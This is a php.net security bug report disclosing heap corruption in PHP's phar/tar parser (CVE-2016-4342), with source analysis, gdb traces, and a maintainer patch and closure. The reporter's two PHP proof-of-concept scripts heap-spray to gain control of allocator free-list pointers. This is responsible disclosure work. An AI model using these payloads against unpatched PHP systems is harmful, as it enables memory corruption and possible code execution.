php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #71354 Heap corruption in tar/zip/phar parser.
Submitted: 2016-01-12 20:46 UTC Modified: 2016-04-28 16:59 UTC
From: manhluat at vnsecurity dot net Assigned: stas (profile)
Status: Closed Package: PHAR related
PHP Version: 5.5.31 OS: Linux, Mac
Private report: No CVE-ID: 2016-4342
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: manhluat at vnsecurity dot net
New email:
PHP Version: OS:

 

 [2016-01-12 20:46 UTC] manhluat at vnsecurity dot net
Description:
------------
There is an issue when parsing .tar/.zip./.phar file.

Assume that, I have a .tar file with empty file "aaaa" (0 byte), so its uncompressed_filesize is 0.

then we dump its content through getContent() method of PharFileInfo like:

var_dump($phar['aaaa']->getContent();

Okie now we're gonna check inside of this method.


------------------------------
ext/phar/phar_object.c:

PHP_METHOD(PharFileInfo, getContent)
{
...snip...
	Z_TYPE_P(return_value) = IS_STRING;
	Z_STRLEN_P(return_value) = php_stream_copy_to_mem(fp, &(Z_STRVAL_P(return_value)), link->uncompressed_filesize, 0);

	if (!Z_STRVAL_P(return_value)) {
		Z_STRVAL_P(return_value) = estrndup("", 0);
	}
...
}

Remember that uncompress_filesize is 0, so it is passed into php_stream_copy_to_mem function through 3rd parameter.

------------------------------

main/streams/streams.c:

PHPAPI size_t _php_stream_copy_to_mem(php_stream *src, char **buf, size_t maxlen, int persistent STREAMS_DC TSRMLS_DC)
{
...snip...
	if (maxlen == 0) {
		return 0;
	}
...
	if (maxlen > 0) {
		ptr = *buf = pemalloc_rel_orig(maxlen + 1, persistent);
		while ((len < maxlen) && !php_stream_eof(src)) {
			ret = php_stream_read(src, ptr, maxlen - len);
...
}


You can see them above.

If maxlen == 0, then it returns 0 and there is nothing to happens. Otherwise, *buf (2nd args) will be assigned by heap allocation, and read data from current file pointer normally.

Ok get back to our situation.


------------------------------


But our issues is...zval `return_value` is "uninitialized variable", return_value->str.val is some pointer on old stack frame in function's context which is called previously. You can see it below through gdb:


------------------------------
=> 0x817aacc <zim_PharFileInfo_getContent+300>: call   0x8267ad0 <_php_stream_copy_to_mem>
   0x817aad1 <zim_PharFileInfo_getContent+305>: mov    ecx,DWORD PTR [esp+0x54]
   0x817aad5 <zim_PharFileInfo_getContent+309>: mov    DWORD PTR [ecx+0x4],eax
   0x817aad8 <zim_PharFileInfo_getContent+312>: mov    eax,DWORD PTR [ecx]
   0x817aada <zim_PharFileInfo_getContent+314>: test   eax,eax
Guessed arguments:
arg[0]: 0xf7bd9a04 --> 0x8806a40 --> 0x826cad0 (<php_stdiop_write>:     push   ebx)
arg[1]: 0xf7bdd4b8 --> 0xf7bdd56c --> 0x1d 
arg[2]: 0x0 
arg[3]: 0x0 

Breakpoint 2, 0x0817aacc in zim_PharFileInfo_getContent (ht=0x0, return_value=0xf7bdd4b8, return_value_ptr=0xf7bbf094, this_ptr=0xf7bdd49c, return_value_used=0x1) at /root/fuzz/php-5.6.17/ext/phar/phar_object.c:4889
4889            Z_STRLEN_P(return_value) = php_stream_copy_to_mem(fp, &(Z_STRVAL_P(return_value)), link->uncompressed_filesize, 0);

------------------------------


"0xf7bdd56c" is current return_value->str.val.

So as I described earlier, if maxlen == 0 then <_php_stream_copy_to_mem> will return 0 and nothing is assigned to *buf (2nd parameter) => return_value->str.val will be old-value after this call !!!

See below.
------------------------------
=> 0x817aad1 <zim_PharFileInfo_getContent+305>: mov    ecx,DWORD PTR [esp+0x54]
   0x817aad5 <zim_PharFileInfo_getContent+309>: mov    DWORD PTR [ecx+0x4],eax
   0x817aad8 <zim_PharFileInfo_getContent+312>: mov    eax,DWORD PTR [ecx]
   0x817aada <zim_PharFileInfo_getContent+314>: test   eax,eax
   0x817aadc <zim_PharFileInfo_getContent+316>: jne    0x817aa21 <zim_PharFileInfo_getContent+129>
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0817aad1      4889            Z_STRLEN_P(return_value) = php_stream_copy_to_mem(fp, &(Z_STRVAL_P(return_value)), link->uncompressed_filesize, 0);
gdb-peda$ x/10wx 0xf7bdd4b8
0xf7bdd4b8:     0xf7bdd56c      0x088086a0      0x00000001      0x00000006
0xf7bdd4c8:     0x00000000      0x00000010      0x0000001d      0x08820b20
0xf7bdd4d8:     0xf7bd97c4      0x00000091
gdb-peda$ print *(zval*)0xf7bdd4b8
$2 = {
  value = {
    lval = 0xf7bdd56c, 
    dval = 1.0010109254636237e-267, 
    str = {
      val = 0xf7bdd56c "\035", 
      len = 0x88086a0
    }, 
    ht = 0xf7bdd56c, 
    obj = {
      handle = 0xf7bdd56c, 
      handlers = 0x88086a0 <spl_filesystem_object_handlers>
    }, 
    ast = 0xf7bdd56c
  }, 
  refcount__gc = 0x1, 
  type = 0x6, 
  is_ref__gc = 0x0
}
------------------------------

0xf7bdd56c still be in ZVAL(return_value).

Later, this str.val pointer will be passed into _efree to do clear vm stack.

So, by somehow, I've managed to control previous block of 0xf7bdd56c, and absolutely can control next_block of mm_block (ESI register). Please scroll and see it below. 


------------------------------
zend_alloc.c:

static void _zend_mm_free_int(zend_mm_heap *heap, void *p ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{
...

	next_block = ZEND_MM_BLOCK_AT(mm_block, size);
	if (ZEND_MM_IS_FREE_BLOCK(next_block)) {
		zend_mm_remove_from_free_list(heap, (zend_mm_free_block *) next_block);
		size += ZEND_MM_FREE_BLOCK_SIZE(next_block);
	}
...


We can take over this next_block and probably control heap further.




* Notice:
- This poc may not work to you, it bases on stack/heap data. If it doesnt, please do some stuff to spray the heap.
- Affects 
- PoC can run on 32 and 64bit.
- Works on Linux and Mac as well. 


* Fix
- We should init ZVAL(return_val) before get in <php_stream_copy_to_mem>.




Test script:
---------------
<?php

echo "Making .tar file...\n";

$phar = new PharData('poc.tar');
$phar->addFromString('aaaa','');

echo "Trigger...\n";

//prepare
$spray = pack('IIII',0x41414141,0x42424242,0x43434343,0x4444444);
$spray = $spray.$spray.$spray.$spray.$spray.$spray.$spray.$spray;
$pointer = pack('I',0x13371337);


$p = new PharData($argv[1]);

// heap spray 
$a[] = $spray.(string)0;
$a[] = $spray.(string)1;
$a[] = $spray.(string)2;
$a[] = $spray.(string)3;
$a[] = $spray.(string)4;
$a[] = $spray.$pointer.(string)5;

var_dump($p['aaaa']->getContent());

// If this poc doesnt work, please un-comment line below.
// var_dump($p);
?>

At the first run, it would try to make poc.tar which contains empty file named "aaaa".
Then run "./sapi/cli/php ./poc.php ./poc.tar".



Expected result:
----------------
Program received signal SIGSEGV, Segmentation fault.

And we could control next_block (see $ESI register) of mm_block at zend_alloc.c:947

then we probably control heap memory to leak/write somewhere we want.

Actual result:
--------------
gdb-peda$ r
Starting program: /root/test/php-5.6.17/sapi/cli/php ./poc.php ./poc.tar
Making .tar file...
Trigger...
string(0) ""

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xaf4e898 
EBX: 0x8804000 --> 0x8803dd8 --> 0x1 
ECX: 0xf7bdd564 --> 0x13371337 
EDX: 0xf7bdd56c --> 0x1d 
ESI: 0x13371334 
EDI: 0xf7bdd56c --> 0x1d 
EBP: 0x8820a58 --> 0x1 
ESP: 0xffffa020 --> 0x82e15f7 (<zend_objects_store_del_ref_by_handle_ex+7>:     add    ebx,0x522a09)
EIP: 0x82893cb (<_zend_mm_free_int+123>:        test   BYTE PTR [eax],0x1)
EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x82893c2 <_zend_mm_free_int+114>:   mov    eax,DWORD PTR [esp+0x8]
   0x82893c6 <_zend_mm_free_int+118>:   sub    DWORD PTR [ebp+0x34],esi
   0x82893c9 <_zend_mm_free_int+121>:   add    eax,esi
=> 0x82893cb <_zend_mm_free_int+123>:   test   BYTE PTR [eax],0x1
   0x82893ce <_zend_mm_free_int+126>:   mov    DWORD PTR [esp+0xc],eax
   0x82893d2 <_zend_mm_free_int+130>:   je     0x8289429 <_zend_mm_free_int+217>
   0x82893d4 <_zend_mm_free_int+132>:   mov    eax,DWORD PTR [edi-0x4]
   0x82893d7 <_zend_mm_free_int+135>:   test   al,0x1
[------------------------------------stack-------------------------------------]
0000| 0xffffa020 --> 0x82e15f7 (<zend_objects_store_del_ref_by_handle_ex+7>:    add    ebx,0x522a09)
0004| 0xffffa024 --> 0x8804000 --> 0x8803dd8 --> 0x1 
0008| 0xffffa028 --> 0xf7bdd564 --> 0x13371337 
0012| 0xffffa02c --> 0x8804000 --> 0x8803dd8 --> 0x1 
0016| 0xffffa030 --> 0x1 
0020| 0xffffa034 --> 0x881e740 --> 0x0 
0024| 0xffffa038 --> 0x88428c8 --> 0x1 
0028| 0xffffa03c --> 0x8804000 --> 0x8803dd8 --> 0x1 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
_zend_mm_free_int (heap=0x8820a58, p=p@entry=0xf7bdd56c) at /root/test/php-5.6.17/Zend/zend_alloc.c:2104
2104            if (ZEND_MM_IS_FREE_BLOCK(next_block)) {
gdb-peda$ print p
$1 = (void *) 0xf7bdd56c
gdb-peda$ x/10wx p-8
0xf7bdd564:     0x13371337      0x00000035      0x0000001d      0x00000091
0xf7bdd574:     0xf7bdd5a4      0x088086a0      0x00000000      0x00000005
0xf7bdd584:     0x00000000      0x0000001d
gdb-peda$ x/10wx p-16
0xf7bdd55c:     0x43434343      0x04444444      0x13371337      0x00000035
0xf7bdd56c:     0x0000001d      0x00000091      0xf7bdd5a4      0x088086a0
0xf7bdd57c:     0x00000000      0x00000005
gdb-peda$ bt
#0  _zend_mm_free_int (heap=0x8820a58, p=p@entry=0xf7bdd56c) at /root/test/php-5.6.17/Zend/zend_alloc.c:2104
#1  0x0828b7d8 in _efree (ptr=0xf7bdd56c) at /root/test/php-5.6.17/Zend/zend_alloc.c:2440
#2  0x082b22dc in _zval_dtor_func (zvalue=zvalue@entry=0xf7bdd4b8) at /root/test/php-5.6.17/Zend/zend_variables.c:46
#3  0x08361378 in _zval_dtor (zvalue=0xf7bdd4b8) at /root/test/php-5.6.17/Zend/zend_variables.h:35
#4  i_zval_ptr_dtor (zval_ptr=0xf7bdd4b8) at /root/test/php-5.6.17/Zend/zend_execute.h:79
#5  zend_vm_stack_clear_multiple (nested=0x0) at /root/test/php-5.6.17/Zend/zend_execute.h:308
#6  zend_do_fcall_common_helper_SPEC (execute_data=<optimized out>) at /root/test/php-5.6.17/Zend/zend_vm_execute.h:650
#7  0x082f1446 in execute_ex (execute_data=execute_data@entry=0xf7bbf3c0) at /root/test/php-5.6.17/Zend/zend_vm_execute.h:363
#8  0x0835f272 in zend_execute (op_array=0xf7bd8f44) at /root/test/php-5.6.17/Zend/zend_vm_execute.h:388
#9  0x082b4c1e in zend_execute_scripts (type=type@entry=0x8, retval=retval@entry=0x0, file_count=file_count@entry=0x3) at /root/test/php-5.6.17/Zend/zend.c:1341
#10 0x0824ef3e in php_execute_script (primary_file=primary_file@entry=0xffffc438) at /root/test/php-5.6.17/main/main.c:2597
#11 0x08363473 in do_cli (argc=argc@entry=0x3, argv=argv@entry=0x8820888) at /root/test/php-5.6.17/sapi/cli/php_cli.c:994
#12 0x08063f04 in main (argc=0x3, argv=0x8820888) at /root/test/php-5.6.17/sapi/cli/php_cli.c:1378
#13 0xf7c40a83 in __libc_start_main (main=0x80639f0 <main>, argc=0x3, argv=0xffffd744, init=0x836c520 <__libc_csu_init>, fini=0x836c590 <__libc_csu_fini>, rtld_fini=0xf7feb180 <_dl_fini>, stack_end=0xffffd73c) at libc-start.c:287
#14 0x08063f8a in _start ()
gdb-peda$ 

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-01-13 04:22 UTC] manhluat at vnsecurity dot net
I've made a new PoC which take over prev/next block with arbitrary value. 

---------------------------------
<?php

echo "Making .tar file...\n";

$phar = new PharData('poc.tar');
$phar->addFromString('aaaa','');

echo "Trigger...\n";

//prepare
$spray = pack('IIII',0x41414141,0x42424242,0x43434343,0x4444444);
$spray = $spray.$spray.$spray.$spray.$spray.$spray.$spray.$spray;
$pointer = pack('I',-17); // offset


$p = new PharData($argv[1]);

// heap spray 
$a[] = $spray.(string)0;
$a[] = $spray.(string)1;
$a[] = $spray.(string)2;
$a[] = $spray.(string)3;
$a[] = $spray.(string)4;
$a[] = $spray.$pointer.(string)5;

var_dump($p['aaaa']->getContent());

?>

----------------------------
CRASH SUMMARY


gdb-peda$ c
Continuing.
string(0) ""

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x8820a58 --> 0x1 
EBX: 0x8804000 --> 0x8803dd8 --> 0x1 
ECX: 0x42424242 ('BBBB')
EDX: 0xf7bdd550 --> 0x4444444 
ESI: 0x43434343 ('CCCC')
EDI: 0xf7bdd56c --> 0x1d 
EBP: 0x8820a58 --> 0x1 
ESP: 0xffffa010 --> 0xf7bddba0 --> 0xf7bddb98 --> 0x1f468 
EIP: 0x82892d0 (<zend_mm_remove_from_free_list+208>:    cmp    edx,DWORD PTR [ecx+0xc])
EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x82892c5 <zend_mm_remove_from_free_list+197>:       add    ecx,0x18
   0x82892c8 <zend_mm_remove_from_free_list+200>:       mov    DWORD PTR [eax+0x10],ecx
   0x82892cb <zend_mm_remove_from_free_list+203>:       jmp    0x8289248 <zend_mm_remove_from_free_list+72>
=> 0x82892d0 <zend_mm_remove_from_free_list+208>:       cmp    edx,DWORD PTR [ecx+0xc]
   0x82892d3 <zend_mm_remove_from_free_list+211>:       jne    0x8289260 <zend_mm_remove_from_free_list+96>
   0x82892d5 <zend_mm_remove_from_free_list+213>:       cmp    edx,DWORD PTR [esi+0x8]
   0x82892d8 <zend_mm_remove_from_free_list+216>:       jne    0x8289260 <zend_mm_remove_from_free_list+96>
   0x82892da <zend_mm_remove_from_free_list+218>:       mov    edi,DWORD PTR [edx]
[------------------------------------stack-------------------------------------]
0000| 0xffffa010 --> 0xf7bddba0 --> 0xf7bddb98 --> 0x1f468 
0004| 0xffffa014 --> 0xffffffec 
0008| 0xffffa018 --> 0xf7bdd56c --> 0x1d 
0012| 0xffffa01c --> 0x8289432 (<_zend_mm_free_int+226>:        mov    eax,DWORD PTR [esp+0xc])
0016| 0xffffa020 --> 0x82e15f7 (<zend_objects_store_del_ref_by_handle_ex+7>:    add    ebx,0x522a09)
0020| 0xffffa024 --> 0x8804000 --> 0x8803dd8 --> 0x1 
0024| 0xffffa028 --> 0xf7bdd564 --> 0xffffffef 
0028| 0xffffa02c --> 0xf7bdd550 --> 0x4444444 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
zend_mm_remove_from_free_list (heap=0x8820a58, mm_block=0xf7bdd550) at /root/test/php-5.6.17/Zend/zend_alloc.c:837
837                     if (UNEXPECTED(prev->next_free_block != mm_block) || UNEXPECTED(next->prev_free_block != mm_block)) {
gdb-peda$ print prev
$5 = (zend_mm_free_block *) 0x42424242
gdb-peda$ print next
$6 = (zend_mm_free_block *) 0x43434343
gdb-peda$
 [2016-01-14 00:37 UTC] stas@php.net
The patch is in https://gist.github.com/smalyshev/80ba8551fb1e69f4e1ac and security repo as 13ad4d3e971807f9a58ab5933182907dc2958539. Please verify.
 [2016-01-14 00:46 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-01-14 00:46 UTC] stas@php.net
-PHP Version: 5.6.17 +PHP Version: 5.5.31
 [2016-01-14 05:09 UTC] manhluat at vnsecurity dot net
Okay, bug is fixed.
 [2016-02-02 03:19 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=13ad4d3e971807f9a58ab5933182907dc2958539
Log: Fix bug #71354 - remove UMR when size is 0
 [2016-02-02 03:19 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-02-02 03:36 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=13ad4d3e971807f9a58ab5933182907dc2958539
Log: Fix bug #71354 - remove UMR when size is 0
 [2016-02-02 04:46 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=13ad4d3e971807f9a58ab5933182907dc2958539
Log: Fix bug #71354 - remove UMR when size is 0
 [2016-03-07 13:54 UTC] manhluat at vnsecurity dot net
hello folks,

Can we assign a CVE for this ? :)
 [2016-04-28 16:59 UTC] remi@php.net
-CVE-ID: +CVE-ID: 2016-4342
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Tue Dec 03 17:01:29 2024 UTC